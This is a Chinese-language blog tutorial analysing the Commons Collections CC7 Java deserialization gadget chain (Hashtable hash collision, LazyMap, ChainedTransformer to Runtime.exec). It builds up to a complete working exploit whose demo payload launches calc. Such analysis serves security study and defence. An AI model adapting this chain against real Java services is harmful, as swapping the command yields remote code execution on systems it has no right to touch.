Java反序列化 CC7链分析

文章目录

前言

对比前几条链子,CC7链子的构造会稍显复杂,审计起来感觉跟CC6有点像,CC7的入口点是Hashtable,其核心在于利用Hashtable反序列化时的哈希碰撞来触发利用链,今天我们来详细分析一下

过程分析

后半部分

对于该链子的后半部分,我们用的还是LazyMap,具体可以参考之前的文章Java反序列化 CC1链分析 (LazyMap)

跟之前不一样的是,LazyMap这一部分代码需要进行修改,怎么修改我们后面分析的时候说,这里先把之前CC链用的代码放出来

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
    }
}

前半部分

初步探索

CC7的入口是HashtablereadObject方法,我们跟进去看看

这段代码的主要作用是在对象被反序列化时,根据流里的数据合理初始化哈希表结构和数据,使其内容与序列化前一致,reconstitutionPut(table, key, value)则是把反序列化出来的键值对放入新哈希表数组中,实现恢复,我们跟进看看

该方法首先对value的值进行检查,如果为null则抛出异常,然后计算key的哈希值hash,并根据该哈希值计算索引index,定位到数组中对应的桶位置,接着遍历该位置上已有的链表,检查是否存在hash相同的key,如果存在则抛出异常,否则将创建一个新的Entry节点,并将其插入到对应桶的链表头部

其核心在于for循环这部分,if判断里存在短路与运算(&&),只有前面的满足了才可以进入后面的部分,同时我们上面提到,检查是否存在hash相同的key,也就意味着至少要向Hashtable里存入两个元素,且哈希值要相等,否则无法进入e.key.equals(key)这一部分

java 复制代码
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
	if ((e.hash == hash) && e.key.equals(key)) {
		throw new java.io.StreamCorruptedException();
	}
}

根据ysoserial的CC7代码,我们往key里面存入LazyMap的实例化对象,就会调用到LazyMapequals方法,但是LazyMap并没有这个方法,所以会往它继承的父类那里去找,也就是AbstractMapDecorator里的equals方法

我们跟进看看,if语句判断传入的object是否与当前实例是同一个对象,即是否满足引用相等,如果是同一实例则返回true,不同则return map.equals(object),所以我们要传入两个不同的对象才能调用equals方法

其中map对应的是LazyMap实例传入的第一个参数,根据ysoserial,也就是传入的HashMap实例,调用该实例的equals方法,但是HashMap也没有equals方法,同样的,也是去它继承的父类去找,即AbstractMapequals方法

跟进AbstractMapequals方法,可以看到里面调用了get方法,这一部分代码主要是判断两个Map是否相等时,先做一些基本类型和大小的判断,再逐个比对键值对内容;如果发现同一键对应的值不相等,则进入value.equals分支,只要我们传入oLazyMap的实例,然后经过强制类型转换就进入了m,调用mget方法也就是调用LazyMap实例的get方法,完成闭环

我们可以初步构造代码如下,lazyMap1lazyMap2key我们分别传入yyzZ,值就传个相同的数字,因为这样子两个lazyMaphash值是相同的,均为3872

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是运行的时候我们发现,还没开始进行序列化和反序列化就已经弹出计算器了,这并不是我们想要的

那么我们如何解决呢

逐步完善

这跟我们前面讲到的CC6情况一样,属于本地误触情况,具体可以参考Java反序列化 CC6链分析HashMap部分,如果提前在本地触发了利用链,那么反序列化的时候就不会弹出计算器了,解决方法也很简单,给LazyMap传入无害的Transformer,这里我们传入一个安全的ChainedTransformer,后面再通过反射修改其iTransformers的值为transformers即可

修改如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        // 添加无害ChainedTransformer,并删去原本的chainedTransformer实例
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        // 修改第二个参数为transformerChain
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransformer.setAccessible(true);
        itransformer.set(transformerChain, transformers);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是运行之后还是没有弹出计算器,说明还存在问题,跟进调试后发现lazyMap2集合多了一个键值对yy

在经过AbstractMapequals方法时,由于元素个数不同导致返回false,也就无法继续后续链子的执行

为什么会这样呢,其实这里的情况也跟CC6类似,在我们执行hashTable.put(lazyMap2, 2)时,里面调用了lazyMap2equals方法,然后进一步调用了AbstractMapDecoratorequalsAbstractMapequals,最后调用了LazyMapget方法

在经过LazyMapget方法时,由于对应键值对不存在,就会触发map.put(key, value)新添加一个,导致多了一个yy键值对

解决方法也很简单,直接删去这个多余的键值对即可

java 复制代码
lazyMap2.remove("yy");

最终利用

综上,我们得到完整exp为

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        lazyMap2.remove("yy");

        Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransformer.setAccessible(true);
        itransformer.set(transformerChain, transformers);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

为了更直观的理解,这里放个流程图

总结

至此,CC1到CC7的审计也就结束了,花了有一些时间,不过一通审计下来收获挺大的,阅读代码的能力得到了提升,以后还要继续多审一些代码,争取进一步的突破,路漫漫其修远兮,吾将上下而求索

相关推荐
未来之窗软件服务11 小时前
服务器运维(二十三) 服务器安全探针封装—东方仙盟练气期
安全·仙盟创梦ide·东方仙盟·安全探针
奋进的芋圆11 小时前
Java 延时任务实现方案详解(适用于 Spring Boot 3)
java·spring boot·redis·rabbitmq
sxlishaobin12 小时前
设计模式之桥接模式
java·设计模式·桥接模式
model200512 小时前
alibaba linux3 系统盘网站迁移数据盘
java·服务器·前端
荒诞硬汉12 小时前
JavaBean相关补充
java·开发语言
提笔忘字的帝国12 小时前
【教程】macOS 如何完全卸载 Java 开发环境
java·开发语言·macos
2501_9418824812 小时前
从灰度发布到流量切分的互联网工程语法控制与多语言实现实践思路随笔分享
java·开发语言
華勳全栈13 小时前
两天开发完成智能体平台
java·spring·go
alonewolf_9913 小时前
Spring MVC重点功能底层源码深度解析
java·spring·mvc
沛沛老爹13 小时前
Java泛型擦除:原理、实践与应对策略
java·开发语言·人工智能·企业开发·发展趋势·技术原理